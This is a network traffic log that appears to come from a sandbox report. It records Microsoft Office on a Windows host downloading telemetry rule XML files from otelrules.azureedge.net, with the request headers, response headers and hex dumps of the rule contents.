2024-11-20 07:12:18 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:18 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071218Z-1777c6cb754b7tdghC1TEBwwa400000009a000000000ec0d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:18 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49714	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071218Z-185f5d8b95cdtclvhC1NYC4rmc0000000a4g000000000484 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:18 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49715	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:18 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071218Z-185f5d8b95cjbkr4hC1NYCeu2400000009t0000000006231 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:18 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49712	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:18 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d9470d89-501e-0047-17f3-3ace6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071218Z-185f5d8b95ckwnflhC1NYCx9qs00000009zg00000000781r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:18 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49711	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071218Z-1777c6cb7544nvmshC1TEBf7qc00000008z000000000kn9y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:18 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49716	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:19 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:19 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071219Z-185f5d8b95ckwnflhC1NYCx9qs00000009zg00000000782f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49718	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:19 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:19 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e563634e-601e-000d-3bed-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071219Z-185f5d8b95ctl8xlhC1NYCn94g00000009w000000000h6pu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49719	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:19 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:19 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071219Z-185f5d8b95crl6swhC1NYC3ueg00000009xg00000000np61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:19 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49717	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:19 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071219Z-185f5d8b95cdh56ghC1NYCk1x400000003u0000000002sh4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49720	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:19 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:19 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071219Z-r1d97b99577lxltfhC1TEByw2s00000008k0000000008ek1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:19 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49723	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:19 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:20 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: d278da68-d01e-002b-0c18-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071220Z-r1d97b99577lxltfhC1TEByw2s00000008n00000000041ex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49722	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:19 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071220Z-r1d97b99577dd2gchC1TEBz5ys00000008bg000000007c8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" 